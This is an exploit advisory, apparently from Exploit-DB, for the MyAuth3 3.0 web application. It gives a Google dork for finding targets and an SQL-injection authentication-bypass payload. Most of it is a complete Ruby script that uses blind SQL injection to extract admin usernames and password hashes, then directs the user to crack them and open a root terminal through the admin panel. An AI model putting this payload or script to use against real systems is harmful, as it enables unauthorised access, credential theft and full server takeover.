MyAuth3 – Blind SQL Injection
# Exploit Title: MyAuth3 Blind SQL Injection / Root Shell Access 0day exploit # Google Dork: allinurl:1881/?console=panel # Date: 09/06/2011 # Author: Marcio Almeida (marcio[at]alligatorteam[dot] org | @marcioalm) # Version: 3.0 # Tested on: Linux #EDB-Note: apparently no true exploit is needed to dump system pwd hashes, because the admin myauth users have the ability to run a terminal session --------------- PoC (POST data) --------------- URL: http://localhost:1881/index.php?console=panel POST Data (Authentication bypass): panel_cmd=auth&r=ok&user=alligatorteam&pass=' or 1=1# --------------- This application has a accessible root shell in the admin interface located at: http://localhost:1881/admin/ When you access it, just go to tools / terminal menu and g0t r00t! The following code will manage all the dirty work for you! enjoy ;-) ############## EXPLOIT CODE [myauth3_xpl.rb] ################## require "net/http" require "net/https" require "erb" require "singleton" require 'uri' sql = "select concat(user,0x20,pass) from admusers where enable = 1 and accesslevel >= 20" @target = ARGV[0] numthreads = ARGV[1] @verbose = ARGV[2] @cookie = "" puts "+=============================================================================+" puts "| MyAuth 3 - Blind SQL Injection / Root Shell Access 0day exploit |" puts "| Google Dork: allinurl:1881/?console=panel |" puts "| author: Marcio Almeida (marcio@alligatorteam.org) |" puts "| |" puts "| by Alligator Security Team | irc://irc.freenode.net:8001/#Alligator |" puts "| twitter: @alligatorteam |" puts "+=============================================================================+" puts if (ARGV[0].nil? || ARGV[1].nil?) puts "usage (non verbose): ruby -W0 #{__FILE__} address num_threads" puts "usage (verbose): ruby -W0 #{__FILE__} address num_threads -v" puts "-----------------------------------------------------------" puts "Example 1: ruby -W0 #{__FILE__} 127.0.0.1 5" puts "Example 2: ruby -W0 #{__FILE__} www.vulnsite.com.br 5 -v" exit(0) end def requisicao(posicao,p_substr,sql) useragent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1' @http = Net::HTTP.new(@target, 1881) # @http.use_ssl = true parametro = "panel_cmd=auth&r=ok&user=alligatorteam&pass=' or #{posicao} >= ascii(substr((#{sql}),#{p_substr.to_s},1))#" begin resp, data = @http.post2("/index.php?console=panel", parametro, {'User-Agent' => useragent, 'Cookie' => @cookie.to_s }) resultado = data.match(/Financeiro/) rescue Exception=>e puts e end if resultado.nil? return false else return true end end def busca_r( menor, maior, p_substr,sql ) return -1 if menor > maior return maior if (maior-menor)==1 posicao = (menor+maior)/2 if (requisicao(posicao,p_substr,sql)) busca_r( menor, posicao, p_substr,sql ) else busca_r( posicao, maior,p_substr,sql ) end end def busca_sql(inicio, qtdThreads, sql, str_final) resultado = 0 while (resultado != 1) do str_final[inicio] = "" resultado = busca_r(0,255,inicio,sql) if resultado != 1 if @verbose == "-v" puts inicio.to_s+") Character Found: "+resultado.to_s+" - "+resultado.chr.to_s end str_final[inicio] += resultado.chr.to_s inicio = inicio + qtdThreads.to_i end end end def busca_com_threads(sql, numthreads) str_final = [] threads = [] count = 1 numthreads.to_i.times{|i| threads << Thread.new { busca_sql(count, numthreads, sql, str_final) } count += 1 } threads.each do |t| t.join end puts str_final.to_s end puts "When you crack any of the following hashes, go to http://"+ @target + ":1881/admin to login into the application." puts "Then go to tools / terminal menu and get a r00t shell access ;-)" puts "==========================================================================" puts "[+] admusers table dumping... (maybe it'll take a little bit of time...)" puts "==========================================================================" 100.times { |i| busca_com_threads(sql+" limit 1 offset " + i.to_s, numthreads) } |